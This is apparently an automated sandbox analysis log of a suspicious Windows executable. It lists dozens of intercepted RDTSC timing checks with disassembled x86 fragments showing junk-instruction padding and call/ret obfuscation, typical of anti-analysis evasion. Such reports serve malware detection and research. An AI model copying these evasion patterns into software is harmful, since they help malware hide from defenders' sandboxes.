Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 86B1AA second address: 86B1B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 86B1B4 second address: 86B1B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 85E02D second address: 85E031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 85E031 second address: 85E035 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 85E035 second address: 85E052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7BB475B407h 0x0000000b rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 889CF7 second address: 889D22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7BB4E67DDAh 0x00000009 pop esi 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push edi 0x0000000e pop edi 0x0000000f jmp 00007F7BB4E67DE0h 0x00000014 jo 00007F7BB4E67DD6h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 889FC0 second address: 889FFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7BB475B408h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F7BB475B3F6h 0x00000013 jmp 00007F7BB475B407h 0x00000018 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 889FFD second address: 88A02A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB4E67DE0h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7BB4E67DE5h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 88A40C second address: 88A410 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 88A733 second address: 88A739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 88A739 second address: 88A73F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 88A73F second address: 88A74F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 88A74F second address: 88A759 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F7BB475B3F6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 88AADB second address: 88AB03 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jc 00007F7BB4E67DD6h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jl 00007F7BB4E67E25h 0x00000012 pushad 0x00000013 jmp 00007F7BB4E67DDDh 0x00000018 ja 00007F7BB4E67DD6h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 88AB03 second address: 88AB1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F7BB475B403h 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 87F1DE second address: 87F1E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 87F1E5 second address: 87F1EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 87F1EB second address: 87F1F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 88AE04 second address: 88AE0E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7BB475B3FEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 88DCCD second address: 88DCD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 88DCD1 second address: 88DCD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 88DCD5 second address: 88DCDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 88DCDB second address: 88DCE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 88EE34 second address: 88EE5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB4E67DE3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b jnc 00007F7BB4E67DD8h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pop edi 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 pushad 0x00000019 push ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 88EE5E second address: 88EE68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 88EE68 second address: 88EE93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push esi 0x00000009 jmp 00007F7BB4E67DDFh 0x0000000e pop esi 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 pushad 0x00000015 jmp 00007F7BB4E67DDAh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 85C5B7 second address: 85C5BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 899275 second address: 8992A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7BB4E67DDBh 0x00000009 jmp 00007F7BB4E67DE0h 0x0000000e popad 0x0000000f push edx 0x00000010 jmp 00007F7BB4E67DDCh 0x00000015 pushad 0x00000016 popad 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 899408 second address: 89940F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 89B3A5 second address: 89B3AA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 89B40B second address: 89B41E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7BB475B3F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jg 00007F7BB475B3F6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 89B41E second address: 89B496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 add dword ptr [esp], 6E87071Ch 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F7BB4E67DD8h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 add esi, dword ptr [ebp+122D3804h] 0x0000002d mov dword ptr [ebp+122D2587h], edi 0x00000033 mov esi, eax 0x00000035 call 00007F7BB4E67DD9h 0x0000003a push edx 0x0000003b push edi 0x0000003c jmp 00007F7BB4E67DE9h 0x00000041 pop edi 0x00000042 pop edx 0x00000043 push eax 0x00000044 pushad 0x00000045 jmp 00007F7BB4E67DE4h 0x0000004a push esi 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 89B496 second address: 89B4D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push ebx 0x0000000b jmp 00007F7BB475B406h 0x00000010 pop ebx 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F7BB475B407h 0x0000001a rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 89B4D3 second address: 89B4DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 89B4DA second address: 89B4EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jc 00007F7BB475B404h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 89B4EE second address: 89B4F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 89B604 second address: 89B608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 89B85D second address: 89B867 instructions: 0x00000000 rdtsc 0x00000002 js 00007F7BB4E67DDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 89BAD3 second address: 89BAD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 89BC30 second address: 89BC35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 89C487 second address: 89C48D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 89C48D second address: 89C492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 89C5ED second address: 89C637 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007F7BB475B403h 0x0000000e xchg eax, ebx 0x0000000f pushad 0x00000010 ja 00007F7BB475B3FCh 0x00000016 jmp 00007F7BB475B408h 0x0000001b popad 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 89C637 second address: 89C63D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 89CAF6 second address: 89CB5D instructions: 0x00000000 rdtsc 0x00000002 je 00007F7BB475B3F8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F7BB475B3FEh 0x00000012 nop 0x00000013 sbb di, 1E44h 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ecx 0x0000001d call 00007F7BB475B3F8h 0x00000022 pop ecx 0x00000023 mov dword ptr [esp+04h], ecx 0x00000027 add dword ptr [esp+04h], 00000019h 0x0000002f inc ecx 0x00000030 push ecx 0x00000031 ret 0x00000032 pop ecx 0x00000033 ret 0x00000034 jmp 00007F7BB475B401h 0x00000039 push 00000000h 0x0000003b mov dword ptr [ebp+122D2B8Ch], edi 0x00000041 xchg eax, ebx 0x00000042 jnp 00007F7BB475B3FEh 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 89CB5D second address: 89CB6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 jc 00007F7BB4E67DE8h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 89CB6D second address: 89CB71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 89E510 second address: 89E5AB instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7BB4E67DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push edi 0x0000000e pop esi 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007F7BB4E67DD8h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 0000001Ch 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b call 00007F7BB4E67DE9h 0x00000030 mov dword ptr [ebp+122D1C79h], edi 0x00000036 pop edi 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ecx 0x0000003c call 00007F7BB4E67DD8h 0x00000041 pop ecx 0x00000042 mov dword ptr [esp+04h], ecx 0x00000046 add dword ptr [esp+04h], 00000016h 0x0000004e inc ecx 0x0000004f push ecx 0x00000050 ret 0x00000051 pop ecx 0x00000052 ret 0x00000053 push edi 0x00000054 call 00007F7BB4E67DE6h 0x00000059 mov si, ax 0x0000005c pop esi 0x0000005d pop esi 0x0000005e mov si, 3A56h 0x00000062 xchg eax, ebx 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 89E5AB second address: 89E5AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 89F103 second address: 89F108 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 89F108 second address: 89F11E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7BB475B3FAh 0x00000011 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8A083D second address: 8A085D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB4E67DE8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8A085D second address: 8A0861 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8A0861 second address: 8A08D1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7BB4E67DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c jno 00007F7BB4E67DD6h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007F7BB4E67DD8h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e jno 00007F7BB4E67DDCh 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ecx 0x00000039 call 00007F7BB4E67DD8h 0x0000003e pop ecx 0x0000003f mov dword ptr [esp+04h], ecx 0x00000043 add dword ptr [esp+04h], 0000001Bh 0x0000004b inc ecx 0x0000004c push ecx 0x0000004d ret 0x0000004e pop ecx 0x0000004f ret 0x00000050 mov dword ptr [ebp+122D1F49h], edx 0x00000056 push eax 0x00000057 pushad 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8A08D1 second address: 8A08D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8A2DF1 second address: 8A2DF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 855A56 second address: 855A5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 855A5C second address: 855A68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 855A68 second address: 855A6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 855A6C second address: 855A8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F7BB4E67DE8h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8A3431 second address: 8A3436 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8A3436 second address: 8A343C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8A343C second address: 8A3448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8A7C6B second address: 8A7C6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8A7C6F second address: 8A7C89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB475B3FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8A7C89 second address: 8A7C9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB4E67DE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8A8B58 second address: 8A8B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8A9D2F second address: 8A9D35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8AAD12 second address: 8AAD16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8AAD16 second address: 8AAD63 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7BB4E67DE5h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F7BB4E67DE9h 0x00000013 jmp 00007F7BB4E67DE6h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8ACD85 second address: 8ACD9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7BB475B405h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8ACD9E second address: 8ACDB1 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7BB4E67DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8ACDB1 second address: 8ACDB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8ACDB5 second address: 8ACDBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8ACDBB second address: 8ACDC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8ADDDD second address: 8ADDE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8ADDE1 second address: 8ADE51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F7BB475B3F8h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 jmp 00007F7BB475B3FBh 0x00000029 mov dword ptr [ebp+122D369Bh], esi 0x0000002f push 00000000h 0x00000031 call 00007F7BB475B409h 0x00000036 pushad 0x00000037 mov ecx, eax 0x00000039 popad 0x0000003a pop ebx 0x0000003b push 00000000h 0x0000003d mov bx, si 0x00000040 jmp 00007F7BB475B3FFh 0x00000045 xchg eax, esi 0x00000046 pushad 0x00000047 push edi 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8ADE51 second address: 8ADE6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jc 00007F7BB4E67DE1h 0x0000000b jmp 00007F7BB4E67DDBh 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8ADE6F second address: 8ADE8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB475B408h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8ADE8B second address: 8ADE95 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7BB4E67DDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8B9F66 second address: 8B9F6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
